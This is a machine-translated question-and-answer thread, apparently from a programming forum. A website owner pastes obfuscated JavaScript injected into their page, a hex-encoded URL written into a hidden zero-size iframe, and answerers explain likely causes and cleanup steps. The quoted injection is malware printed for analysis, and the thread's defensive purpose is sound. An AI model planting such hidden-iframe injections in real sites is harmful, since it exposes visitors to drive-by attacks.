我有一个网站,我刚发现某人在我的网页上注入了JavaScript。我怎样才能弄清楚它的作用以及它们是如何做到的?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
我不确定那是怎么到达的。谁知道它是怎么到达那里的?以及如何删除它?
答案 0 :(得分:14)
你现在需要知道:
我们在Linode看到了这一点,这表明您的服务器已遭到攻击者的攻击。如果没有转义,它很可能是一个浏览器漏洞会感染您的用户,或者是指向垃圾站点的链接。
使用注入的代码保存所有内容以供以后分析,并立即重新部署整个服务器和Web堆栈。毫无疑问,攻击者的盒子上至少有一个外壳,如果他狡猾的话,这将不可避免地导致根。
立即重新部署,让您的应用程序保持最新状态,停止编写可利用的PHP,并使用强密码或SSH密钥锁定您的用户帐户。不要试图让我的公司或其他任何东西受到影响,但这是这样的在管理不善的网站上常见的事情,我们写了一篇关于how to completely redeploy from scratch的文章。我建议一天几次。
编辑:如果你是在向我倾斜,请说明原因 - 我用这个确切的代码对三个案例进行了分类,所以我没有做好准备。
编辑2:有一点我可能高估了这种情况,这只是因为我是VPS公司的员工(我看到了很多)。假设这个用户的“Web主机”是他控制下的服务器而不是共享主机,我犯了一个错误。 那是一个错误,但仍然有可能我是对的。
妥协是一种绝望的情况,在黑暗中工作会带来灾难性的后果。如果您不知道未授权方为何获得对您的基础架构的访问权限,则无法解决问题。因为每个人都认为我们在这里谈论托管,共享托管 - 你有可能是正确的,而XSS应该受到责备。同样,这个问题没有提供太多的数据,妥协是一般情况下开发人员没有足够重视的情况。
我老老实实地厌倦了我们打开的门票,其中一个盒子在互联网上用SSH探针,DoS数据,URL注入或其他任何东西打到另一个盒子 - 并且管理盒子的Rails或PHP开发者没有想法为什么会发生或者他能做些什么呢。这些都是表明系统妥协的因素,而不是XSS。因此,我认为这是OP控制下的服务器是错误的,但它是可以原谅的(我希望),因为我现在正在工作,处理这些票。
如果您希望我删除我的答案,请说明,但我没有看到其他人获得投票。
答案 1 :(得分:5)
既然你提到过PHP,我将会列出一些可能的方法。这份清单并非包罗万象;但它会让你对发生的事情进行大量的调查。
这可能是你的错。我不是说这是责备;但是我们越早意识到我们是问题的原因,我们就会变得更好。我不信任的唯一开发人员就是说他不会犯错误。
您的网站可能会遇到XSS attack。
如果是这样,那么您的网站很容易受到XSS和其他攻击。 Here's a 'cheat-sheet'会告诉您可以采取的一般措施来缓解这种情况。
您不应允许任何用户数据传递到数据库without being parametrized。
如果您要允许用户插入HTML,则需要sanitize it。
有很多方法可以发生这种情况,但是如果没有更多信息,我就会忘记你所写的内容。
步骤:
答案 2 :(得分:1)
您是否正在使用任何存在安全漏洞的第三方应用程序?例如,前一段时间我们遇到了旧版FCK编辑器的问题,在默认位置设置了所有样本文件夹,用于上传坏文件。
答案 3 :(得分:0)
混淆的部分无法访问“t.cn/vid”
答案 4 :(得分:0)
当我看到您的页面被注入代码时,所以这样做是因为您的服务器或运行在其上的任何应用程序中都存在安全漏洞。黑客具有脚本的编写功能,解决方案可以像更改FTP密码一样简单,也可以像在服务器中安装的任何应用程序中搜索漏洞一样复杂。
但是首先尝试更改你的FTP密码,用一个非常难以猜测的密码来改变它,至少12个字符长,上面有任何特殊字符。我听说有来自俄罗斯黑客的蛮力攻击是在页面标题中注入脚本,以便将用户重定向到任何其他网站,以达到任何模糊目的。
答案 5 :(得分:0)
这不太可能通过你自己的代码完成(因为代码,也没有可能的漏洞通常不为人所知 - 但显然没有理由不保护它),但要检查常见的但是您帐户中过时的应用(WordPress,Drupal,...)。
我几天前遇到过类似的事情,结果发现有一个旧的WordPress(我认为是v2.0)博客,通过它可以获得访问权限。
如果可以,还要检查服务器日志,查看上次修改服务器上PHP文件的时间。就我而言,它清楚地记录了他们如何进入以及如何对付它。